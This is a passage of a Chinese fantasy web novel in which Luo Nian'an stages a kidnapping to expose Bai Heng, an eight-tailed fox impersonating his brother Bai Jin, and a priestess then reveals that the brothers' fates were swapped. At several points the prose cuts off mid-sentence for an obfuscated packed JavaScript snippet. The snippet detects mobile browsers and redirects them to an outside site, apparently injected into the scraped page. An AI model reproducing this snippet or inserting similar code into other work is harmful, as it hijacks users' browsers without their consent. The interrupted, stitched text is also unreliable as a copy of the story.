洛念安的视线再次移到那本画册上，慢慢往后翻着，她发现这本画册似乎就是记录他们兄妹三人的日常的，一起吃饭，一起读书，一起玩耍…… 偶尔多出来的两只狐狸应该就是他们的父母。 幼稚却温馨的画面让洛念安忍不住弯起唇角，她道：“你们三个看起来很是要好。” 白黎道：“是啊，我们关系很好的。虽然二哥是父王母后的养子，但却是将他当亲生子对待的。我也不知二哥为何会做出这种事，难道是嫉妒？” 洛念安合上画册，道：“白衡平日是怎样的性子？” 白黎接过那本画册，打开看着：“二哥刚来时不爱说话，也不爱笑，冷冰冰的。父王说是因为他父母双亡，一时伤心。与我们相熟后，慢慢地也跟我们一起玩。再长大些，他又突然变得不爱说话了。” “突然？”洛念安挑挑眉，又道：“可是我见他，不像是不爱说话的模样。”说着她又蹙眉，她所见到的白黎口中的白衡，看起来既温和，又给人一种生人勿进的感觉。这两者同时出现在一个人的身上，达到了一种诡异的平衡，总是让人觉得奇怪，又说不上哪里怪。 白黎道：“我觉得他是在模仿我大哥，大哥性子很温和， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛念安没料到有这一出，白黎更是没料到。于是那人一个飞扑，趴跪在洛念安的脚边，两只肮脏的手紧紧抓住她的裙摆，抬起头，从满是污垢的杂乱长发中露出两只炯炯有神的眼睛。 洛念安低头对上她的视线，愣在原地。 “八尾才是天道！八尾才是天道！” 她这两句话咬字清晰，与她疯疯癫癫的形象完全不符。洛念安回过神，想要弯腰扶她，却被白黎拉着后退。她有些气恼道：“还不快来把她拉走！冲撞贵客，成何体统！” “是，殿下。” 身后的两人终于追了上来，一人一边抬起那疯女人，一边弯腰道歉一边退走。 白黎看向洛念安，满面歉意：“抱歉殿下，你没事吧？” 洛念安摆摆手，道：“无妨无妨。”她看着那人离开的方向，问道，“刚才那位是谁？” “她啊，”白黎道：“她原是我族大祭司，后来不知为何疯掉了，总是到处乱跑说一些乱七八糟的话，我父王就将她关起来了。” 洛念安抿唇，若有所思地重复：“大祭司？” 她疯了，可是她方才分明目标明确，就是冲着洛念安来的，还连说了两句一模一样的话。 八尾才是天道。 这是何意？这位大祭司是故意来向她传递消息的吗？ 洛念安正思索着，听见白黎道：“她总是胡说八道，之前还说什么‘天要塌了’‘三界皆毁’之类的话，完全不可信的，我们都习惯了。” 洛念安垂下眸，道：“我知道了。”然后抬腿继续往旁的地方走去。 36. 巧设局引得身份现 “那里种植的是什么？” “哦，那啊，那是狐族特产的灵药，护心脉的。” 洛念安蹙眉，她似乎在哪里听过这样的话，但又记不起来了。 “那里是何地？” “那是牢房，关押罪人的。” 洛念安驻足，询问道：“没人看守吗？” 白黎跟着停了下来，道：“现在里面没人的，而且很脏，我幼时跟随父王去过一次，就再也没去过了。狐族犯错之人很少，狐族子民都很淳朴善良的。” 洛念安点点头，随口问道：“那你幼时随你父王去看谁？” “我二哥。” “？！”洛念安眼眸微睁，看向白黎：“你二哥犯了何事？” 白黎绞着衣袖，皱眉思索片刻，摇头道：“其实我也不知道，反正二哥长大后跟我父王母后的关系一直都不好。后来不就大闹一场离家出走了。” 洛念安盯着狱门，抿唇沉思，须臾，又问：“你二哥是八尾狐这件事情，知道的人多吗？” 白黎道：“我族人基本都知道，毕竟八尾狐极其罕见。” “好。”洛念安点头，附在白黎耳边说了几句话。 闻言，白黎睁大眼睛看向她：“这样可行吗？” 洛念安道：“目前我能想到的只有这个办法。” 白黎点点头：“行，我都听殿下的。” 她送洛念安离开了青丘，然后回了狐族王宫。 洛念安回到玉兰观时，叶蓉果然已经做好晚饭等她了。她赶得时候刚刚好，二人吃过晚饭便早早歇下。 翌日早。 柳渊推开院门进来，对着仰在躺椅上的洛念安挥扇：“念将军~” 洛念安起身，微笑招呼他：“柳将军来了，请坐吧。” 柳渊扫了一眼院中的两张躺椅，又看了一眼坐在另一张上的叶蓉。 叶蓉对上他的视线，犹豫着站起身：“要不你坐我这？” 柳渊摆摆手：“这怎么好意思。”说着对洛念安道，“念将军你坐吧。”然后自己进屋搬了张椅子出来，放在圆桌旁，就这么坐下了。 洛念安笑了笑，便坐回原位。 柳渊展扇调笑道：“我还以为今儿日头打西边出来了呢，念将军竟然主动找我帮忙了。” 洛念安将瓷杯放在他面前，弯了弯唇，随即道：“我这边有一场戏，想请柳将军帮忙演一演。” “演戏？”柳渊微微一愣：“你开始干这行了？” 洛念安轻笑一声：“那倒没有。” 柳渊虽不知所云，但还是答应道：“演戏倒是可以，但提前说好啊，我没干过这一行，不是专业的，演砸了可别怪我。” 洛念安笑道：“怎么会？”然后示意大家围在一起，将自己的计划说了一遍。 柳渊听得嘴巴张大再张大：“等一下，这么做的目的是？” 洛念安端起瓷杯喝了口水，道：“戏演成了，柳将军自然就知道了。” 柳渊不解，但点头：“那好。”说着和洛念安一起齐齐看向叶蓉。 “啊......”叶蓉愣了一下，不太确定道：“我也要去吗？” 洛念安微笑道：“多一个人肯定胜算更大。” 叶蓉道：“那好，洛姐姐有事，我义不容辞。” 柳渊竖起大拇指：“仗义！”接着，他又道，“要不我把赫连昭那小子也喊来？” 洛念安怔了怔，摇头道：“我们两个做主力，应该够了。” “行吧。”柳渊看着她道：“到时候我们肯定不能用法器吧？这样太明显了。你那长枪，一出来他就知道是谁。” “说得对。”洛念安给予肯定，望着柳渊露出笑容，“那就劳烦将军回去翻翻你那兵器库了，找三把剑来。” 叶蓉举手：“我不用武器。” “那就两把。” 柳渊提出质疑：“你用剑可以吗？” 洛念安微笑：“赫连昭的剑术是我传授的。将军觉得呢？” 柳渊已老实，起身边往出走边道：“行嘞，我去去就来。” ...... “仙君息怒，殿下她平日出门从来不告诉我们要去哪里，我们也不敢问呐。往常天黑前都能回来......这次，这次......” “她若是出了事，”清冷的声音顿了一下，“你们就都去陪葬吧。” ...... 九天郡，深山，破屋。 “你们说他多久才能发现他妹妹不见了啊？”柳渊戴着面具，抱着剑百无聊赖地倚在土墙边。 白黎从破屋里探出头：“二哥他每日都会回青丘来看我的，肯定很快就能发现我不见了。” 叶蓉把她拽了回去：“你有点被绑架的自觉行吗？” 白黎不满：“这不是还没来吗？” “就是啊，”柳渊附和道，“他找到这还不知道猴年马月去了。” 白黎道：“我沿路留了标记，应该很快的。” 柳渊问道：“什么标记？” 白黎：“我的气味。” “......”柳渊沉默片刻，道：“这算哪门子标记？难不成他长了个狗鼻子？” 白黎不乐意：“你不准这样说我二哥。” “好好好。”柳渊惹不起，躲到洛念安那边了，“念将军，想什么呢？” 洛念安抱着剑，看了他一眼，道：“在想这个计划的胜算。” “放心吧，”柳渊安慰她：“当初打仗的时候你的战术就那么厉害，这个计划也一定会按照你设想的发展下去的。” 面具之下的洛念安笑了笑：“谢谢，不过柳将军还是不要把我架得如此高，若是有朝一日摔下来，可是很疼的。” 柳渊也笑：“放心，不会让你摔下来的。” 洛念安垂下眸，又盯向这里唯一的入口。很久之前，她就是在这里遇到叶蓉的，没想到还能再回到这个地方。 柳渊刚准备议题一起打局麻将消磨一下时间，突然，一声鹰啸响彻长空。紧接着，他腰间的铃铛轻响。柳渊站直身子，严肃道：“有人破阵。” 叶蓉安顿好白黎，从屋内奔出，关上房门。几人快速绕到破屋后面，贴墙站着。 一块巨大的阴影笼罩下来，伴随着震耳的鹰啸。众人齐齐抬头往天上看去。 “......等一下，”柳渊看向洛念安：“念将军，这只鸟怎么来了？你也没说他会请外援啊！”说着又探出头去观察着。 刚一探头，就见到入口处现出一只荧目黑豹，正是阿离。 “这只豹子也来了？！”柳渊缩回头，不是很淡定：“不是，这什么情况？白锦为何请得动太阴仙？念将军，单单白锦倒还好说，要是加一个太阴鬼王，我们三个恐怕是不太行吧？” 叶蓉虽也变了脸色，但还是白了身旁之人一眼，道：“你到底在怂什么？我都没说话。” “谁怂了？”柳渊反驳。 洛念安在中间安慰道：“别慌。柳将军，你看看该到的人都到了没有。” 柳渊又探出头去，片刻后收回视线：“来了，他身后跟着的一大群，估计就是他们狐族的人。” 洛念安问：“易桉在吗？” 柳渊答：“暂时没看到，不过那鸟和豹子都在。”说着他又看了一眼，“没看到，没来？” 洛念安在面具下抿了抿唇，道：“估计是白锦请他帮忙找人，他便派了阿离和苍出来。” “等等，”柳渊再次看了看情况， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544156|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道，“那鸟和豹子往这边来了，估计是发现我们了。” 洛念安握紧手中利剑，道：“你们先跟白锦打，我去拖住那两个。”说着她脚尖一点，跃了出去。 柳渊还没反应过来：“啊？” 叶蓉道：“啊什么啊？赶紧上啊，怎么着你打不过他啊？” “？”柳渊瞪大眼睛看向她：“开什么玩笑我打不过他？！”说完便冲了出去。 按照原计划，柳渊飞速在破屋前设下阵法，只有白锦可以进来，他带来的那些狐族小兵都被阵法挡在外面。他提着剑和叶蓉一左一右直直朝着白锦冲去。 那边剑光四起。 洛念安飞剑将阿离和苍引到没人注意到的地方，阿离满身戒备，露出尖牙，紧紧盯着面具下的洛念安。苍一双鹰眼也紧紧盯着她。洛念安将剑别在身后，试探着往前靠近它们。下一瞬，阿离身子伏得更低，喉间发出厚重的声响。 “阿离？”洛念安试探性唤了一声。 话落，苍微微偏头。阿离身上的戒备也瞬间卸下，似乎还没反应过来，于是洛念安竟然在一只豹子脸上看到了疑惑的神色。 阿离往前，慢慢朝她走来。鼻子微动，紧接着步子加快，最后在洛念安腿边卧了下来，蹭着她的腿撒娇。 洛念安松了口气，露出笑容，弯腰摸了摸阿离的脑袋，看向仍立在不远处的苍，道：“你们俩乖啊，听话，快回去吧，别在这里凑热闹了。” 她不确定这两只能不能听懂她的话。阿离在她腿边磨蹭了一会儿，苍的喉咙里忽然发出一道声音，它身后的半空中随之裂开缝隙，然后阿离便站起身子，转身，和苍一起走进缝隙离开了。 那边白锦以一敌二，竟一时半会儿没有落至下风。他左手执剑挡住柳渊的进攻，右手击退冲上来的叶蓉，接着左手发力，击退柳渊。利剑在空中划出一道风声，洛念安从他们之间刺了进来，白锦躲闪不及，堪堪挡下一剑，被击退数步。 宝剑刺入地下，随着剑主人的后退，在地面划出一道深深的痕迹。 尽管如此，白锦仍一副清冷模样，慢条斯理将从肩头滑至身前的白发拂至身后，挑起一双狐狸眼看向洛念安，呼吸不乱，语气不变：“黎儿在哪？” 洛念安给了叶蓉一个眼神。后者奔向破屋，开门进去，片刻后，掐着被五花大绑的白黎出来，她那五指指甲又长又尖，看起来几乎要刺穿白黎的脖颈。 “兄长！救我！”白黎哭得梨花带雨，看起来一副被吓坏的模样。 至此，白锦眼中才有一丝波动。利剑从地中拔出，直指叶蓉：“放了她，不杀你。” 洛念安与柳渊交换眼神，举剑齐上。叶蓉见状，把白黎放在门口，继续加入战斗。 有了洛念安的加入，白锦很快落于下风。在被她第五次击退后，他堪堪立在那里，嘴角缓缓淌出鲜血，视线越过众人落在白黎身上。 白黎这下是哭得真心实意，边哭边喊：“兄长，你没事吧？！你走吧，别跟他们打了，快走吧！别管我了！” 白锦握剑的手指根根收紧，突然从他周身爆出一股强劲的法力，竟然把围在阵法边进不来的狐族小兵都震晕了过去。 劲风猎猎。洛念安注意到这点时，微微一愣，这一出在她的意料之外，她没想到白锦狠起来连自己人都打。 不过很快，面具之下，洛念安扬起唇角。 因为，白锦，现真身了。 据她所知，他们在维持人形的时候会被束缚住，而化形成半人半兽，才是他们最强的形态。 洛念安仔细数着，八条，真的是八条。 八尾狐，他真的是白衡！ “等等！”柳渊忍不住出声：“他为什么是八条尾巴？白锦仙君不是九尾狐吗？！” 37. 手足情可抵怨恨深 白衡周身被红色光晕所包围，一簇一簇，如火苗般往外蹿。随着半人半兽形态的出现，他的容貌似乎发生了些轻微的改变，不细看却是看不出来。 洛念安和柳渊齐齐摘下面具。 他看着他们，似乎怔了怔，挑眼看向白黎，嘴角勾起一抹嗜血般的笑意：“你很会找帮手。” “二哥！” 叶蓉解了白黎身上的捆绑，她起身，奔向白衡，死死抓住他的衣襟：“你是二哥，大哥呢？你把大哥弄到哪里去了？！” 柳渊看着这幅情景，愣了一下，往洛念安身旁凑了凑：“她刚知道这件事吗？她是演的还是真的？” 洛念安微笑道：“半真半假吧。” 柳渊还是没看懂：“大哥二哥是什么意思？” 洛念安道：“将军也看到了，我们眼前的并非白锦仙君，而是他的弟弟，白衡。” 柳渊沉默思考片刻，音量陡然拔高：“冒充？！卧槽了，这么大的胆子？这么高的本事？！” 白衡依旧噙着笑，垂眸看着白黎，声音依旧清冷：“他死了，被我杀了。” 白黎被这句话吓得愣住了，她的手更攥紧了几分，泪水夺眶而出：“不会的，不会的，二哥，你不会杀了大哥的对不对？你不会杀了他的，我们......我们明明那么要好，你不会杀了他的！” “为何不？”白衡眼球四周泛出血丝，他紧咬着牙，额上青筋暴起：“他本来就该死，没有我他早就死了！” 说罢，他扬手一挥，白黎惨叫一声扑向一旁，摔倒在地上。 叶蓉冲上前去扶起她，带着她退至洛念安身后。 洛念安紧盯着白衡，将右手的剑递给柳渊，久不用剑，确实不太顺手。她左手一抬，轻声唤道：“龙吟。” 屋内麻袋里的龙吟应声而起，伴着龙鸣声稳稳落入洛念安手中。她习惯性转着长枪，转至右手，枪尖直指白衡：“我们活要见人，死要见尸。” 言罢，她举□□上。白衡却只是抬剑阻挡，并没有进攻之势。洛念安收了招式，蹙眉问道：“何意？” 白衡却是笑道：“跟你打，恐怕有人要不高兴了。” 洛念安眉头蹙得更深：“白锦仙君在哪？” 白衡道：“我就是仙君。” “？”洛念安道：“你不是白锦。” 白衡依旧道：“我就是仙君。” 柳渊忍不了了：“不是，你觉得在场的哪一个是傻子？白锦仙君明明是九尾白狐，飞升之时在神界大家都是有目共睹的。虽然你身上没有妖气......”他顿了顿，“欸？你身上为什么没有妖气？” 这也正是洛念安想不通的点，虽然九尾狐乃神族，但只有先飞升成上仙才会摆脱身上的妖气。她问道：“你飞升了？” 白衡但笑不语，重新化为人形。 柳渊再次忍不了：“念将军，别跟他废话了，直接打晕，拖回神界，让帝君治他。” “不要！”白黎突然冲上前来，张开手臂将白衡护在身后：“你们不要带走我二哥，我，我只是想知道大哥的下落，你们不要伤害他。” 白衡明显愣住了，狐狸眼下垂，望着她。 柳渊走到洛念安身边，看着白黎心里有一万个不理解，开口道：“小妹妹，若我没有猜错是你去找念将军帮忙的吧？现在，他冒充上神，事实已定，虽然以前神界从未发生过这样的事，但肯定也是重罪。神界他是一定要回的，罚也是一定要受的。” 白黎似乎被吓到了，开始害怕。她转身，双手握住白衡的胳膊，眼泪簌簌，语气祈求道：“二哥，二哥，你把大哥的下落告诉他们吧，你让大哥回去吧，别再继续下去了，然后，然后你赶紧跑，跑到他们抓不住你的地方藏起来。” 洛念安：“......？” “......”柳渊忍不住提醒：“说什么呢？我们还在这呢。” 白衡依旧垂眸看着她，半晌，抬手轻轻拭去了她面上的泪水。 他的举动让白黎哭得更大声了，她钻进白衡的怀里，紧紧抱着他，边哭边道：“二哥，你放了大哥吧......好不好？我真的很想大哥，我已经很久没有见到他了......我实在没办法了，才找珈洛公主帮我的......我实在没办法了啊......你为什么要这样做呢......” 她哀声动人，柳渊不忍再听，叹了口气，退到后面去了。 白衡默然无语，只垂着眸，不知在想些什么。片刻，他忽然抬眸，往众人身后看去。 洛念安一直观察着他，注意到他的异样，顺着视线回眸看了过去，随即惊喜地睁大双眸：“小桉？” 叶蓉俯身行礼。 易桉望着洛念安，扬起笑容：“姐姐。” 柳渊却突然一把将洛念安拽到身边，侧过身子将她挡在身后，神情严肃道：“念将军你可长点心吧，他们俩绝对是一伙的。” 洛念安探出脑袋：“我知道啊。” 柳渊：“知道你还不离他远点。” 易桉视线扫过他抓着洛念安胳膊的手，嘴角落下。抬腿，一步一步走到柳渊面前。 柳渊紧盯着他：“你想干吗？” 易桉面无表情地抬手，将他挥至几步之外，冷嗤道：“该离远的是你。” “......”柳渊堪堪站住身子，在原地蒙圈半晌。他怎么这么大的力道？！ 易桉重新望向洛念安，扬起笑：“姐姐，你没受伤吧？”说着，不经意地瞥了一眼旁边的白衡。 洛念安摇摇头：“没有。”她的视线在白衡和他之间来回游转，又问道，“你来这里是？” 易桉道：“来看看你。” 柳渊又冒了出来：“你什么时候不能看？我们现在在执行公务啊。” 易桉：“轮得到你管？” 柳渊：“......” 洛念安再次看向白衡，正欲说些什么，周身忽然被火红的光晕笼罩，不止是她，在场的醒着的人都包括在内。下一瞬，眼前突然一黑，再睁眼时，他们竟然被一起带到了另一处地方。 易桉仍在她面前，这让她稍稍安心了些。洛念安抬眸看向四周，有些暗，只有顶上的火把发出光亮。 “这是哪？”柳渊看了看两侧的石壁。 白衡在最前面，一声不吭地往前走。 洛念安低声道：“先跟上去看看再说。” 于是一群人跟在白衡身后往前走着。这条道不算窄，两边都是石壁，尚不知通向何方。柳渊不太确定道：“不会有诈吧？” 洛念安跟在他侧后方，安慰他道：“有小桉在，应该不会。” “......”柳渊崩溃道：“就是因为有他在我才不得不担心啊！我不管，反正我已经给赫连昭发了我的位置了，半个时辰后如果不找他，他就带人下来救我。” 洛念安无奈笑笑：“应该......不至于吧。” 柳渊严肃道：“安全第一。” 说话间，几人已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白黎闻言，突然起身用力推了他一下，对他怒目而视，质问道：“你为何要这样对大哥？！你没有飞升又不是大哥的错！” 白衡似乎愣了一下，立在原地，垂着眸，半晌，忽然笑出了声：“呵呵呵......不怪他，难道，怪我吗？” “不是吗？我们自幼一起长大，你竟然因妒生恨，全然不顾我们手足情深，这样对他！” “黎儿，”白锦抬手抓住白黎的衣摆，狠咳了几声，道：“别说了，这件事情，你不要管了。” 白黎回头看他，道：“大哥，他都这样对你了，你竟然还护着他？这件事情我不管谁管啊，父王母后都去世了......”她说着又蹲在地上抱着白锦哭起来，“你知道吗大哥，父王母后都去世了。” 听到这个消息，白锦的脸色似乎更加苍白，他低着头，艰难道：“我知。” 白衡漠然望着他们，勾唇笑道：“他当然知道，毕竟我第一时间就把这个好消息告诉了他。” 白黎突然止住哭声，不可置信地抬眸看他：“好消息？” 白衡点头：“他们终于死了，难道不是好消息吗？” “......”白黎面露茫然，她喃喃问道：“你是二哥吗？”说着又看向白锦，求证道，“大哥，他是二哥吗？” 白锦却是推着她，催促道：“你快走吧，离开这里。” 38. 知天命不知身入局 白衡瞥他：“既然来了，还走什么？” 白锦倏然瘫坐在地上，额上似渗出细细密密的汗珠。 他的神力呢？ 这是洛念安目前唯一的疑问。 白衡立在那里，突然看了过来，准确地说是看向易桉。 易桉迎上他的视线，抬手打了个清脆的响指。白衡身旁的空气应声撕裂，从里面钻出了一个人。 洛念安扭头看了看易桉，再回头，看清来人时，却是愣了一下。 那个，疯掉的大祭司？！ 白黎立马问道：“这个疯子怎么来了？你让她来做什么？” “她疯？”白衡垂着眸望着她，森然道：“疯的不是她，是你们。” “够了，”白锦厉声道：“白衡，你一定要做到这个地步吗？你杀了我，算我陪你，你继续做你的仙君不好吗？” 白黎吓了一跳，忙道：“你在说什么啊大哥？” 白衡笑了一声，蹲下身子，平视着他，眼中似有滔天怒火又有九重寒冰，冰火交加：“不不不，大哥，我突然改变主意了。既然小妹这样想要一个公道，那我就给她。恰好，今日有旁人在，顺便也让他们为我主持主持公道。” 柳渊看戏到现在仍旧一头雾水，道：“他们到底什么情况？” 洛念安从思绪中抽离，沉声道：“我似乎，知道了。” 白衡站起身，转而面向突然出现的第三个人，道：“大祭司，你说。”他越过她，往后走去，半个身子都隐没在黑暗中，望着他们，目光沉沉。 “很多年前，有一日，我如往常般卜算，却卜得一件事。”这位大祭司开口声音清明，全然不像疯狂之态。 白黎一愣，皱着眉头：“你不是疯子。” 大祭司垂首，恭敬道：“谋生之举。” 柳渊掏出扇子，边晃边道：“所以你算到了什么？” 大祭司继续道：“狐族几百年未有飞升，我日日占卜，终于，卜算到百年后会有狐族之子飞升，成仙成神。只是，那位天选之子乃八尾白狐。” 此言一出，全场静默。 她继续道：“我将此事禀报给了先王，先王震怒，因为八尾在我族乃不祥之兆，他不相信。但是，这一年，我族竟真的有八尾白狐降生。过了一段时间，先王便带着白衡殿下来寻我为其占卜命数。” 洛念安道：“你占卜得知，白衡殿下便是那位天选之子？” 大祭司看向她，点头：“是的。只是结果告诉我，他不应该出现在先王身边。” 白黎看样子是完全反应不过来。 洛念安便问道：“那他为何会被先王带在身边？我听说是白衡殿下父母双亡，狐王夫妇好心收养了他。” 白衡嗤笑一声，道：“好心？好心杀了我父母吗？” “？！！”洛念安睁大双眸。 柳渊手上的扇子都停了下来：“等一下，所以本该飞升的是白衡而不是白锦？那为什么最后是白锦飞升了？” 他话音一落，大祭司却突然转向白衡跪了下来，上半身伏在地上，额头紧紧贴着地面，声音透着悔恨痛苦：“殿下，我有罪！我有罪啊！” 柳渊愣住了。 洛念安沉声道：“改命。” “不错，”易桉出声道：“狐族善占卜之术，这一任大祭司更是天赋异禀，开创改命秘术。” 洛念安只觉脊背发凉，若这项秘术被有心之人学了去，岂不是…… “我没有办法，先王以我父母亲人要挟，逼迫我调换二位殿下的命数。我照做之后他仍不放过我，要杀我灭口，我只得装疯卖傻才能苟活于世啊！” “哈哈哈……”白衡听后却是大笑几声，眸光射向白黎，道：“如何？可还满意？” 白黎双手攥紧，泪水无声划过脸颊，从下巴颗颗滴落：“所……所以……是你杀了我父王母后，对吗？” 白衡恢复清冷之态，道：“他们得知我杀了他们的金贵儿子，取代他，在神界做了上神，无法接受，自杀了。” 白黎缓缓摇头，视线紧盯着足边的地面。她不敢看他，也无法接受：“我不信……我不信……” 白衡垂下眸，身子一半隐于黑暗，一半现于光明。他状似无谓道：“随你。” 白黎蹲下身子，崩溃道：“你骗人吧？她是你的人对不对？在帮你说话对不对？你骗人！我父王那么好，对你那么好，怎么可能做出这种事！怎么可能？！” 白衡笑道：“他的演技确实炉火纯青，一开始，我也被骗了呢。” 白黎往后抓住白锦，似握住最后一根稻草一般：“大哥，他在骗人对不对？不是这样的对不对？” 白锦此时面色灰白，目光涣散，闻言，他侧眸看向她，又失神摇头，并不言语。 白黎又看向他，哭着道：“可是这不是大哥的错啊，大哥对你的好都是真的啊！我们从小一起长大……” 白衡生硬打断她的话，咬着牙道：“若不是看在这个份儿上我早就杀了他了！你以为你还能再见到他吗？！” 白黎被吓住，跪坐在地上默然流泪。白锦费力挪到她身边，伸手，轻轻拍着她的脊背，小声地安慰着她。 洛念安收回视线，望向身后的易桉，问道：“小桉，这位大祭司说的都是真的吗？” 易桉道：“是真。” 洛念安点点头，回首过去。 柳渊看了他们一眼，道：“他说是真的你就信了？” 洛念安看向他，理所当然道：“对啊。” “……”柳渊已经没心情晃扇子了，沉默收起，继续看向那边。 “无趣。”白衡盯着他们看了半晌，忽然出声道：“真无趣。做妖做神，都很无趣。折磨你无趣，杀了你更无趣。不懂你们为何活着，我又为何活着。若是有朝一日，三界皆毁，众生灭绝，那才有趣。” 他言罢，转身消失在黑暗之中。 留下一众人呆若木鸡。 柳渊：“……好好的，他说那些丧气话做什么？我觉得活着挺好啊。” 洛念安扭头看向易桉：“他不会做傻事吧？” 易桉往他消失的地方瞥了一眼，哼笑道：“怎么可能，他耐活得很。” 柳渊反应过来：“等下，他去哪了？不应该跟我们回神界把这件事说清楚吗？” 洛念安闻言点头：“确实。”顿了顿，她又道，“但是这件事该如何说清楚呢？” 不知道。 反正不归她操心。 由于柳渊半个时辰后没传讯给赫连昭，赫连昭真的带了几位上神下来看他死没死。于是，洛念安顺手把事情甩给他们，又为了引起不必要的麻烦，悄悄和易桉、叶蓉一起溜了。 “所以你今日就是为了将狐族大祭司送来吗？”洛念安坐于玉兰观树下，将盛了水的瓷杯推至对面的易桉面前。 叶蓉忙着给上次那位被打的女子送钱去了。 易桉望着她，微笑道：“不是啊，我是来看姐姐的。带人来只是顺便。” 洛念安笑了笑，也不在意这句话的真假，道：“如此说来，很多事情倒是说的通了。不过还有一点我想问问你。” 易桉挑挑眉。 洛念安问道：“白衡他飞升了吗？” 易桉向后仰在躺椅上，屈臂向后枕着，道：“没有。” 洛念安点点头，将自己心中的猜测说了出来：“所以，他身上没有妖气，反而有一股若隐若现的仙气，是因为上次我在鬼市碰见的那种药丸？” 易桉弯唇，侧目看她。 洛念安明白了他的意思，又问道：“那白锦的神力呢？” 易桉道：“不知道，可能被他废了吧。” 洛念安愣住，白衡竟然有这等本事？ 她好奇道：“你们是朋友吗？” 易桉摇头：“不是，各取所需罢了。”停顿片刻，他问道，“姐姐不会怪我吧？” 洛念安轻声笑了笑：“怪你做什么？” 易桉道：“怪我不早些告诉你真相。” 洛念安道：“与人合作，基本的契约精神总是要有的吧？” 易桉低笑几声，仰面望着树上的玉兰花，道：“我就知道姐姐不会怪我。那，姐姐觉得，他的做法是对是错？” 洛念安抿唇，盯着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567090|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的侧颜望了半晌，道：“我也不知，有时是非对错难以分辨。不过我觉得他的做法不太可取，他既然有这等本事，直接告到天帝面前就是，我想神界自会为他做主。” 易桉沉吟半晌，冷不丁来了一句：“是吗？” “......”洛念安莫名心虚了一下，道：“是吧。” 易桉却是但笑不语。 洛念安也仰面躺在摇椅之上，闭目养神，这几日的阳光格外明媚。渐渐的，她忽觉困倦，将要安然如梦，脑中却突然炸起一道声音：“念将军！你快回神界一趟！狐族大祭司忽然自刎了！” 洛念安猝然睁眸，快速起身。 易桉见她这般着急，也跟着起身，问道：“怎么了，姐姐？” “我现在需要回一趟神界。”洛念安看向他：“抱歉，不能好好招待你了。” 易桉笑笑：“有的是机会，姐姐先去忙吧。” 洛念安与之道了别，转身消失在院中。她一路奔走，好不容易到了紫微大殿，正见着柳渊从殿内出来，他身边跟着两名天兵，抬着被白布遮盖的尸体。白黎跪坐在大殿门外，仿佛魂魄被抽离身体一般。 柳渊见到洛念安，三步并作两步上来：“念将军。” 洛念安的视线跟随着被鲜血浸染的白布，直到走远，才回神看向他：“柳将军，怎么回事？” 柳渊叹了口气道：“她把事情交代清楚，突然就举剑割喉了，临死前还说她会让改命秘术变成永远的秘密。” 洛念安抿唇，思绪繁杂。她又望着跪在那的白黎，问道：“她怎么不进去？” 柳渊道：“她未飞升啊，无召不得进入。我让她先在台阶上坐一会儿，她也不听，非要跪在那。”他望着洛念安，神情有些严肃，“念将军，这事儿跟太阴鬼王到底有何关系？” 洛念安愣了愣，问道：“白锦说什么了？” 柳渊摇头：“他倒是没提，我猜的，太阴仙和白衡的之间一看就不简单。” 洛念安稍稍松了口气，道：“他们……他们各取所需也不足为奇吧。” 柳渊看着她，眸光深深：“你是在替他掩护吗？” 洛念安：“很明显吗？” “......”柳渊沉默了一会儿，道：“我先进去了。” 洛念安点头，等他走后，才走到白黎身边，蹲下来，抬手揽着她的肩膀，柔声安慰了她几句。 白黎泪眼婆娑地看着她：“二哥会被罚吗？大哥呢？神界会因为这件事情罚他吗？还有，二哥会不会还要杀死大哥？” 洛念安轻声道：“不会的，都不会的。放心，你们都会没事的。你二哥......你觉得他很坏吗？” 白黎怔愣着，摇摇头。 洛念安微笑道：“是了，他其实也是苦命人，但本性并不坏，往后，应该也不会再为难你大哥了。” 白黎内心得到些许安慰，望着她，感激道：“殿下，谢谢你帮我。” 洛念安轻轻拍了拍她的肩膀，温声道：“不客气。”停顿片刻，她又道，“有一件事情希望你能帮我。” 白黎道：“殿下请讲。” 洛念安抿了抿唇，道：“这件事情本身与太阴仙并无关系，若是待会召你入殿，还请你不要提及他，我担心会被有心之人听了去，恶意编排，对他不利。” 白黎眨着眼，怔了半晌，点点头，道：“好，我知道了。” “多谢。” 白黎望了她半天，还是没忍住道：“殿下，你与太阴鬼王到底是何关系啊？上次在鬼市我听说，你是他的王妃。” “咳咳咳......”洛念安突然被口水呛了一下，掩唇咳了起来。 白黎好心为她拍拍后背。 洛念安好不容易顺了气，慌乱摆手：“没有的事，完全没有的事，他们开玩笑的。我们......我们是好友，好友。” 白黎点点头：“哦，这样啊。” 